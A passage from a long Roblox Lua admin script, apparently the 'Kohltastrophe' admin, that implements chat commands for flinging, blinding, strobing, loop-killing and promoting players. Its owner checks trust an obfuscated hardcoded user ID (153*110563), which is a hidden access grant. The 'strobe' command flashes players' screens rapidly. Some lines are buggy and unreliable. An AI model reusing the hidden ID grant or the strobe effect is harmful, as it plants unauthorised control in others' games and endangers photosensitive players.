  1611. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1612. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1613. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1614. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1615. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1616. end
  1617. end))
  1618. end
  1619. end
  1620.  
  1621. if msg:lower():sub(1,8) == "creeper " then
  1622. local plrz = GetPlr(plr, msg:lower():sub(9))
  1623. for i, v in pairs(plrz) do
  1624. coroutine.resume(coroutine.create(function()
  1625. if v and v.Character and v.Character:findFirstChild("Torso") then
  1626. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1627. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1628. v.Character.Torso.Transparency = 0
  1629. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1630. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1631. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1632. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1633. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1634. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1635. end
  1636. end))
  1637. end
  1638. end
  1639.  
  1640. if msg:lower():sub(1,10) == "uncreeper " then
  1641. local plrz = GetPlr(plr, msg:lower():sub(11))
  1642. for i, v in pairs(plrz) do
  1643. coroutine.resume(coroutine.create(function()
  1644. if v and v.Character and v.Character:findFirstChild("Torso") then
  1645. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1646. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1647. v.Character.Torso.Transparency = 0
  1648. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1649. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1650. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1651. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1652. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1653. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1654. end
  1655. end))
  1656. end
  1657. end
  1658.  
  1659. if msg:lower():sub(1,8) == "bighead " then
  1660. local plrz = GetPlr(plr, msg:lower():sub(9))
  1661. for i, v in pairs(plrz) do
  1662. coroutine.resume(coroutine.create(function()
  1663. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1664. end))
  1665. end
  1666. end
  1667.  
  1668. if msg:lower():sub(1,9) == "minihead " then
  1669. local plrz = GetPlr(plr, msg:lower():sub(10))
  1670. for i, v in pairs(plrz) do
  1671. coroutine.resume(coroutine.create(function()
  1672. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1673. end))
  1674. end
  1675. end
  1676.  
  1677. if msg:lower():sub(1,6) == "fling " then
  1678. local plrz = GetPlr(plr, msg:lower():sub(7))
  1679. for i, v in pairs(plrz) do
  1680. coroutine.resume(coroutine.create(function()
  1681. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1682. local xran local zran
  1683. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1684. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1685. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1686. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1687. end
  1688. end))
  1689. end
  1690. end
  1691.  
  1692. if msg:lower():sub(1,8) == "seizure " then
  1693. local plrz = GetPlr(plr, msg:lower():sub(9))
  1694. for i, v in pairs(plrz) do
  1695. coroutine.resume(coroutine.create(function()
  1696. if v and v.Character then
  1697. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1698. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1699. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1700. end
  1701. end))
  1702. end
  1703. end
  1704.  
  1705. if msg:lower():sub(1,10) == "unseizure " then
  1706. local plrz = GetPlr(plr, msg:lower():sub(11))
  1707. for i, v in pairs(plrz) do
  1708. coroutine.resume(coroutine.create(function()
  1709. if v and v.Character then
  1710. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1711. wait(.1) v.Character.Humanoid.PlatformStand = false
  1712. end
  1713. end))
  1714. end
  1715. end
  1716.  
  1717. if msg:lower():sub(1,12) == "removelimbs " then
  1718. local plrz = GetPlr(plr, msg:lower():sub(13))
  1719. for i, v in pairs(plrz) do
  1720. coroutine.resume(coroutine.create(function()
  1721. if v and v.Character then
  1722. for a, obj in pairs(v.Character:children()) do
  1723. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1724. end
  1725. end
  1726. end))
  1727. end
  1728. end
  1729.  
  1730. if msg:lower():sub(1,5) == "name " then
  1731. local chk1 = msg:lower():sub(6):find(" ") + 5
  1732. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1733. for i, v in pairs(plrz) do
  1734. coroutine.resume(coroutine.create(function()
  1735. if v and v.Character and v.Character:findFirstChild("Head") then
  1736. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1737. local char = v.Character
  1738. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1739. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1740. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1741. char.Head.Transparency = 1
  1742. end
  1743. end))
  1744. end
  1745. end
  1746.  
  1747. if msg:lower():sub(1,7) == "unname " then
  1748. local plrz = GetPlr(plr, msg:lower():sub(8))
  1749. for i, v in pairs(plrz) do
  1750. coroutine.resume(coroutine.create(function()
  1751. if v and v.Character and v.Character:findFirstChild("Head") then
  1752. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1753. end
  1754. end))
  1755. end
  1756. end
  1757.  
  1758. if msg:lower():sub(1,5) == "char " then
  1759. local chk1 = msg:lower():sub(6):find(" ") + 5
  1760. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1761. for i, v in pairs(plrz) do
  1762. coroutine.resume(coroutine.create(function()
  1763. if v and v.Character then
  1764. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1765. v:LoadCharacter()
  1766. end
  1767. end))
  1768. end
  1769. end
  1770.  
  1771. if msg:lower():sub(1,7) == "unchar " then
  1772. local plrz = GetPlr(plr, msg:lower():sub(8))
  1773. for i, v in pairs(plrz) do
  1774. coroutine.resume(coroutine.create(function()
  1775. if v and v.Character then
  1776. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1777. v:LoadCharacter()
  1778. end
  1779. end))
  1780. end
  1781. end
  1782.  
  1783. if msg:lower():sub(1,7) == "infect " then
  1784. local plrz = GetPlr(plr, msg:lower():sub(8))
  1785. for i, v in pairs(plrz) do
  1786. coroutine.resume(coroutine.create(function()
  1787. if v and v.Character then
  1788. Infect(v.Character)
  1789. end
  1790. end))
  1791. end
  1792. end
  1793.  
  1794. if msg:lower():sub(1,11) == "rainbowify " then
  1795. local plrz = GetPlr(plr, msg:lower():sub(12))
  1796. for i, v in pairs(plrz) do
  1797. coroutine.resume(coroutine.create(function()
  1798. if v and v.Character and v.Character:findFirstChild("Torso") then
  1799. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1800. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1801. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1802. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1803. cl.Parent = v.Character cl.Disabled = false
  1804. end
  1805. end))
  1806. end
  1807. end
  1808.  
  1809. if msg:lower():sub(1,9) == "flashify " then
  1810. local plrz = GetPlr(plr, msg:lower():sub(10))
  1811. for i, v in pairs(plrz) do
  1812. coroutine.resume(coroutine.create(function()
  1813. if v and v.Character and v.Character:findFirstChild("Torso") then
  1814. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1815. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1816. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1817. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1818. cl.Parent = v.Character cl.Disabled = false
  1819. end
  1820. end))
  1821. end
  1822. end
  1823.  
  1824. if msg:lower():sub(1,8) == "noobify " then
  1825. local plrz = GetPlr(plr, msg:lower():sub(9))
  1826. for i, v in pairs(plrz) do
  1827. coroutine.resume(coroutine.create(function()
  1828. if v and v.Character then
  1829. Noobify(v.Character)
  1830. end
  1831. end))
  1832. end
  1833. end
  1834.  
  1835. if msg:lower():sub(1,9) == "ghostify " then
  1836. local plrz = GetPlr(plr, msg:lower():sub(10))
  1837. for i, v in pairs(plrz) do
  1838. coroutine.resume(coroutine.create(function()
  1839. if v and v.Character and v.Character:findFirstChild("Torso") then
  1840. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1841. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1842. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1843. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1844. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1845. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1846. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1847. end end
  1848. end
  1849. end))
  1850. end
  1851. end
  1852.  
  1853. if msg:lower():sub(1,8) == "goldify " then
  1854. local plrz = GetPlr(plr, msg:lower():sub(9))
  1855. for i, v in pairs(plrz) do
  1856. coroutine.resume(coroutine.create(function()
  1857. if v and v.Character and v.Character:findFirstChild("Torso") then
  1858. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1859. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1860. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1861. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1862. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1863. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1864. end end
  1865. end
  1866. end))
  1867. end
  1868. end
  1869.  
  1870. if msg:lower():sub(1,6) == "shiny " then
  1871. local plrz = GetPlr(plr, msg:lower():sub(7))
  1872. for i, v in pairs(plrz) do
  1873. coroutine.resume(coroutine.create(function()
  1874. if v and v.Character and v.Character:findFirstChild("Torso") then
  1875. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1876. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1877. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1878. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1879. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1880. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1881. end end
  1882. end
  1883. end))
  1884. end
  1885. end
  1886.  
  1887. if msg:lower():sub(1,7) == "normal " then
  1888. local plrz = GetPlr(plr, msg:lower():sub(8))
  1889. for i, v in pairs(plrz) do
  1890. coroutine.resume(coroutine.create(function()
  1891. if v and v.Character and v.Character:findFirstChild("Torso") then
  1892. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1893. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1894. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1895. v.Character.Torso.Transparency = 0
  1896. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1897. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1898. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1899. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1900. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1901. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1902. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1903. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1904. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1905. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1906. end end
  1907. end
  1908. end))
  1909. end
  1910. end
  1911.  
  1912. if msg:lower():sub(1,7) == "trippy " then
  1913. local plrz = GetPlr(plr, msg:lower():sub(8))
  1914. for i, v in pairs(plrz) do
  1915. coroutine.resume(coroutine.create(function()
  1916. if v and v:findFirstChild("PlayerGui") then
  1917. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1918. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1919. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1920. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1921. end
  1922. end))
  1923. end
  1924. end
  1925.  
  1926. if msg:lower():sub(1,9) == "untrippy " then
  1927. local plrz = GetPlr(plr, msg:lower():sub(10))
  1928. for i, v in pairs(plrz) do
  1929. coroutine.resume(coroutine.create(function()
  1930. if v and v:findFirstChild("PlayerGui") then
  1931. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1932. end
  1933. end))
  1934. end
  1935. end
  1936.  
  1937. if msg:lower():sub(1,7) == "strobe " then
  1938. local plrz = GetPlr(plr, msg:lower():sub(8))
  1939. for i, v in pairs(plrz) do
  1940. coroutine.resume(coroutine.create(function()
  1941. if v and v:findFirstChild("PlayerGui") then
  1942. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1943. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1944. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1945. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1946. end
  1947. end))
  1948. end
  1949. end
  1950.  
  1951. if msg:lower():sub(1,9) == "unstrobe " then
  1952. local plrz = GetPlr(plr, msg:lower():sub(10))
  1953. for i, v in pairs(plrz) do
  1954. coroutine.resume(coroutine.create(function()
  1955. if v and v:findFirstChild("PlayerGui") then
  1956. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1957. end
  1958. end))
  1959. end
  1960. end
  1961.  
  1962. if msg:lower():sub(1,6) == "blind " then
  1963. local plrz = GetPlr(plr, msg:lower():sub(7))
  1964. for i, v in pairs(plrz) do
  1965. coroutine.resume(coroutine.create(function()
  1966. if v and v:findFirstChild("PlayerGui") then
  1967. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1968. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1969. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1970. end
  1971. end))
  1972. end
  1973. end
  1974.  
  1975. if msg:lower():sub(1,8) == "unblind " then
  1976. local plrz = GetPlr(plr, msg:lower():sub(9))
  1977. for i, v in pairs(plrz) do
  1978. coroutine.resume(coroutine.create(function()
  1979. if v and v:findFirstChild("PlayerGui") then
  1980. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1981. end
  1982. end))
  1983. end
  1984. end
  1985.  
  1986. if msg:lower():sub(1,7) == "guifix " then
  1987. local plrz = GetPlr(plr, msg:lower():sub(8))
  1988. for i, v in pairs(plrz) do
  1989. coroutine.resume(coroutine.create(function()
  1990. if v and v:findFirstChild("PlayerGui") then
  1991. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1992. end
  1993. end))
  1994. end
  1995. end
  1996.  
  1997. if msg:lower():sub(1,9) == "loopheal " then
  1998. local plrz = GetPlr(plr, msg:lower():sub(10))
  1999. for i, v in pairs(plrz) do
  2000. if v then
  2001. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2002. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2003. repeat wait()
  2004. coroutine.resume(coroutine.create(function()
  2005. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2006. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2007. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2008. end
  2009. end))
  2010. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2011. end
  2012. end
  2013. end
  2014.  
  2015. if msg:lower():sub(1,11) == "unloopheal " then
  2016. local plrz = GetPlr(plr, msg:lower():sub(12))
  2017. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2018. end
  2019.  
  2020. if msg:lower():sub(1,10) == "loopfling " then
  2021. local plrz = GetPlr(plr, msg:lower():sub(11))
  2022. for i, v in pairs(plrz) do
  2023. if v then
  2024. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2025. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2026. repeat
  2027. coroutine.resume(coroutine.create(function()
  2028. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2029. local xran local zran
  2030. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2031. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2032. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2033. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2034. end
  2035. end))
  2036. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2037. end
  2038. end
  2039. end
  2040.  
  2041. if msg:lower():sub(1,12) == "unloopfling " then
  2042. local plrz = GetPlr(plr, msg:lower():sub(13))
  2043. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2044. end
  2045.  
  2046. end
  2047.  
  2048. -------------------------
  2049. -- True Owner Commands --
  2050. -------------------------
  2051.  
  2052. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2053.  
  2054. if msg:lower():sub(1,3) == "oa " then
  2055. local plrz = GetPlr(plr, msg:lower():sub(4))
  2056. for i, v in pairs(plrz) do
  2057. coroutine.resume(coroutine.create(function()
  2058. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2059. end))
  2060. end
  2061. end
  2062.  
  2063. if msg:lower():sub(1,5) == "unoa " then
  2064. for i = 1, #owners do
  2065. coroutine.resume(coroutine.create(function()
  2066. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2067. end))
  2068. end
  2069. end
  2070.  
  2071. end
  2072.  
  2073. --------------------
  2074. -- Owner Commands --
  2075. --------------------
  2076.  
  2077. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2078.  
  2079. if msg:lower():sub(1,3) == "pa " then
  2080. local plrz = GetPlr(plr, msg:lower():sub(4))
  2081. for i, v in pairs(plrz) do
  2082. coroutine.resume(coroutine.create(function()
  2083. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2084. end))
  2085. end
  2086. end
  2087.  
  2088. if msg:lower():sub(1,5) == "unpa " then
  2089. for i = 1, #admins do
  2090. coroutine.resume(coroutine.create(function()
  2091. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2092. end))
  2093. end
  2094. end
  2095.  
  2096. end
  2097.  
  2098. --------------------------
  2099. -- Super Admin Commands --
  2100. --------------------------
  2101.  
  2102. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2103.  
  2104. if msg:lower() == "logs" then
  2105. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2106. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2107. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2108. end
  2109.  
  2110. if msg:lower():sub(1,9) == "loopkill " then
  2111. local chk1 = msg:lower():sub(10):find(" ")
  2112. local plrz = GetPlr(plr, msg:lower():sub(10))
  2113. local num = 9999
  2114. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2115. for i, v in pairs(plrz) do
  2116. if v and not ChkAdmin(v.Name, false) then
  2117. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2118. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2119. for i = 1, ]] .. tostring(num) .. [[ do
  2120. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2121. coroutine.resume(coroutine.create(function()
  2122. if plr and plr.Character then plr.Character:BreakJoints() end
  2123. end))
  2124. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2125. end
  2126. end
  2127. end
  2128.  
  2129. if msg:lower():sub(1,11) == "unloopkill " then
  2130. local plrz = GetPlr(plr, msg:lower():sub(12))
  2131. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2132. end
  2133.  
  2134. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2135. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2136.  
  2137. if msg:lower():sub(1,3) == "sm " then
  2138. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2139. end
  2140.  
  2141. if msg:lower():sub(1,3) == "ko " then
  2142. local chk1 = msg:lower():sub(4):find(" ") + 3
  2143. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2144. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2145. for n = 1, num do
  2146. for i, v in pairs(plrz) do
  2147. coroutine.resume(coroutine.create(function()
  2148. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2149. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2150. v.Character:BreakJoints()
  2151. wait(1/44)
  2152. v:LoadCharacter()
  2153. wait(1/44)
  2154. end
  2155. end))
  2156. end
  2157. end
  2158. end
  2159.  
